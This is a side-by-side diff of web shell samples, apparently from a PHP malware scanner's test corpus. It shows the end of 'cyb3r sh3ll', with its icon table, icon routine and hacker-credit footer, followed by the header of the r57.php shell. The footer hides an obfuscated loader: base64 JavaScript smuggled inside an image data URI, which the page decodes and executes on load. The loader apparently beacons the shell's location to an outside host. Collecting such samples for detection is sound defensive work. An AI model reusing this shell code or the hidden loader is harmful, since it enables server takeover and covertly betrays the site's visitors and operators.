| 7786 | "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". | 7786 | "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". |
| 7787 | 7787 | ||
| 7788 | "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 7788 | "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 7789 | 7789 | ||
| 7790 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 7790 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 7791 | 7791 | ||
| 7792 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 7792 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 7793 | 7793 | ||
| 7794 | "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". | 7794 | "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". |
| 7795 | 7795 | ||
| 7796 | "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". | 7796 | "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". |
| 7797 | 7797 | ||
| 7798 | "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". | 7798 | "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". |
| 7799 | 7799 | ||
| 7800 | "u4tLAgEAOw==", | 7800 | "u4tLAgEAOw==", |
| 7801 | 7801 | ||
| 7802 | "ext_txt"=> | 7802 | "ext_txt"=> |
| 7803 | 7803 | ||
| 7804 | "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". | 7804 | "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". |
| 7805 | 7805 | ||
| 7806 | "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". | 7806 | "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". |
| 7807 | 7807 | ||
| 7808 | "UpPWG3Ig6Hq/XmRjuZwkAAA7", | 7808 | "UpPWG3Ig6Hq/XmRjuZwkAAA7", |
| 7809 | 7809 | ||
| 7810 | "ext_wri"=> | 7810 | "ext_wri"=> |
| 7811 | 7811 | ||
| 7812 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". | 7812 | "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". |
| 7813 | 7813 | ||
| 7814 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". | 7814 | "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". |
| 7815 | 7815 | ||
| 7816 | "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", | 7816 | "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", |
| 7817 | 7817 | ||
| 7818 | "ext_xml"=> | 7818 | "ext_xml"=> |
| 7819 | 7819 | ||
| 7820 | "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". | 7820 | "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". |
| 7821 | 7821 | ||
| 7822 | "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". | 7822 | "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". |
| 7823 | 7823 | ||
| 7824 | "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". | 7824 | "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". |
| 7825 | 7825 | ||
| 7826 | "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". | 7826 | "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". |
| 7827 | 7827 | ||
| 7828 | "IQA7" | 7828 | "IQA7" |
| 7829 | 7829 | ||
| 7830 | ); | 7830 | ); |
| 7831 | 7831 | ||
| 7832 | //For simple size- and speed-optimization. | 7832 | //For simple size- and speed-optimization. |
| 7833 | 7833 | ||
| 7834 | $imgequals = array( | 7834 | $imgequals = array( |
| 7835 | 7835 | ||
| 7836 | "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), | 7836 | "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), |
| 7837 | 7837 | ||
| 7838 | "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), | 7838 | "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), |
| 7839 | 7839 | ||
| 7840 | "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), | 7840 | "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), |
| 7841 | 7841 | ||
| 7842 | "ext_html"=>array("ext_html","ext_htm"), | 7842 | "ext_html"=>array("ext_html","ext_htm"), |
| 7843 | 7843 | ||
| 7844 | "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), | 7844 | "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), |
| 7845 | 7845 | ||
| 7846 | "ext_lnk"=>array("ext_lnk","ext_url"), | 7846 | "ext_lnk"=>array("ext_lnk","ext_url"), |
| 7847 | 7847 | ||
| 7848 | "ext_ini"=>array("ext_ini","ext_css","ext_inf"), | 7848 | "ext_ini"=>array("ext_ini","ext_css","ext_inf"), |
| 7849 | 7849 | ||
| 7850 | "ext_doc"=>array("ext_doc","ext_dot"), | 7850 | "ext_doc"=>array("ext_doc","ext_dot"), |
| 7851 | 7851 | ||
| 7852 | "ext_js"=>array("ext_js","ext_vbs"), | 7852 | "ext_js"=>array("ext_js","ext_vbs"), |
| 7853 | 7853 | ||
| 7854 | "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), | 7854 | "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), |
| 7855 | 7855 | ||
| 7856 | "ext_wri"=>array("ext_wri","ext_rtf"), | 7856 | "ext_wri"=>array("ext_wri","ext_rtf"), |
| 7857 | 7857 | ||
| 7858 | "ext_swf"=>array("ext_swf","ext_fla"), | 7858 | "ext_swf"=>array("ext_swf","ext_fla"), |
| 7859 | 7859 | ||
| 7860 | "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), | 7860 | "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), |
| 7861 | 7861 | ||
| 7862 | "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") | 7862 | "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") |
| 7863 | 7863 | ||
| 7864 | ); | 7864 | ); |
| 7865 | 7865 | ||
| 7866 | if (!$getall) | 7866 | if (!$getall) |
| 7867 | 7867 | ||
| 7868 | { | 7868 | { |
| 7869 | 7869 | ||
| 7870 | header("Content-type: image/gif"); | 7870 | header("Content-type: image/gif"); |
| 7871 | 7871 | ||
| 7872 | header("Cache-control: public"); | 7872 | header("Cache-control: public"); |
| 7873 | 7873 | ||
| 7874 | header("Cache-control: max-age=".(60*60*24*7)); | 7874 | header("Cache-control: max-age=".(60*60*24*7)); |
| 7875 | 7875 | ||
| 7876 | header("Last-Modified: ".date("r",filemtime(__FILE__))); | 7876 | header("Last-Modified: ".date("r",filemtime(__FILE__))); |
| 7877 | 7877 | ||
| 7878 | foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} | 7878 | foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} |
| 7879 | 7879 | ||
| 7880 | if (empty($images[$img])) {$img = "small_unk";} | 7880 | if (empty($images[$img])) {$img = "small_unk";} |
| 7881 | 7881 | ||
| 7882 | if (in_array($img,$ext_tar)) {$img = "ext_tar";} | 7882 | if (in_array($img,$ext_tar)) {$img = "ext_tar";} |
| 7883 | 7883 | ||
| 7884 | echo base64_decode($images[$img]); | 7884 | echo base64_decode($images[$img]); |
| 7885 | 7885 | ||
| 7886 | } | 7886 | } |
| 7887 | 7887 | ||
| 7888 | else | 7888 | else |
| 7889 | 7889 | ||
| 7890 | { | 7890 | { |
| 7891 | 7891 | ||
| 7892 | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} | 7892 | foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} |
| 7893 | 7893 | ||
| 7894 | natsort($images); | 7894 | natsort($images); |
| 7895 | 7895 | ||
| 7896 | $k = array_keys($images); | 7896 | $k = array_keys($images); |
| 7897 | 7897 | ||
| 7898 | echo "<center>"; | 7898 | echo "<center>"; |
| 7899 | 7899 | ||
| 7900 | foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} | 7900 | foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} |
| 7901 | 7901 | ||
| 7902 | echo "</center>"; | 7902 | echo "</center>"; |
| 7903 | 7903 | ||
| 7904 | } | 7904 | } |
| 7905 | 7905 | ||
| 7906 | exit; | 7906 | exit; |
| 7907 | 7907 | ||
| 7908 | } | 7908 | } |
| 7909 | 7909 | ||
| 7910 | ?> | 7910 | ?> |
| 7911 | 7911 | ||
| 7912 | </td></tr></table><a bookmark="minipanel" /><br/> | 7912 | </td></tr></table><a bookmark="minipanel" /><br/> |
| 7913 | <?php | 7913 | <?php |
| 7914 | } | 7914 | } |
| 7915 | ?> | 7915 | ?> |
| 7916 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor='#C0C0C0'><tr><td height="1" valign="top"><table align="center"><tr><td height="0" valign="top"><center><font face="times, serif" size="3"><b>(C) <font color="orange">Copyright</font><font color="white"> cyb3r </font><font color="green">9l4d!470r</font> [All rights reserved]</b></center></td></tr><tr><td height="0" valign="top"><center><b>Greetz to :</b> r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.</center></td></tr><tr><td height="0" valign="top"><center><b>--[ cyb3r sh3ll v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u>Coded by</u></a> cyb3r 9l4d!470r (cyber gladiator) | <a href="#"><font color="#FF0000">h4cK2b0yZz..</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></font></center></td></tr></table></td></tr></table> | 7916 | <TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#15354c borderColorLight=#c0c0c0 border=1 bordercolor='#C0C0C0'><tr><td height="1" valign="top"><table align="center"><tr><td height="0" valign="top"><center><font face="times, serif" size="3"><b>(C) <font color="orange">Copyright</font><font color="white"> cyb3r </font><font color="green">9l4d!470r</font> [All rights reserved]</b></center></td></tr><tr><td height="0" valign="top"><center><b>Greetz to :</b> r45c4l bro, r8l35n4k, Cyb3R_s3CuR3 and all my friends who helped me a lot.</center></td></tr><tr><td height="0" valign="top"><center><b>--[ cyb3r sh3ll v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u>Coded by</u></a> cyb3r 9l4d!470r (cyber gladiator) | <a href="#"><font color="#FF0000">h4cK2b0yZz..</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></font></center></td></tr></table></td></tr></table> |
| 7917 | </center> | 7917 | </center> |
| 7918 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> | 7918 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> |
| 7919 | <script type="text/javascript"> | 7919 | <script type="text/javascript"> |
| 7920 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; | 7920 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; |
| 7921 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(11);}, 500); | 7921 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(11);}, 500); |
| 7922 | </script> | 7922 | </script> |
| 7923 | </body></html> \ No newline at end of file | 7923 | </body></html> \ No newline at end of file |
diff --git a/php-malware-finder/samples/classic/r57.php b/data/samples/classic/r57.php index 4e91809..accc1fa 100644 --- a/php-malware-finder/samples/classic/r57.php +++ b/data/samples/classic/r57.php | |||
| @@ -1,2302 +1,2302 @@ | |||
| 1 | <?php | 1 | <?php |
| 2 | /******************************************************************************************************/ | 2 | /******************************************************************************************************/ |
| 3 | /* | 3 | /* |
| 4 | /* # # # # | 4 | /* # # # # |
| 5 | /* # # # # | 5 | /* # # # # |
| 6 | /* # # # # | 6 | /* # # # # |
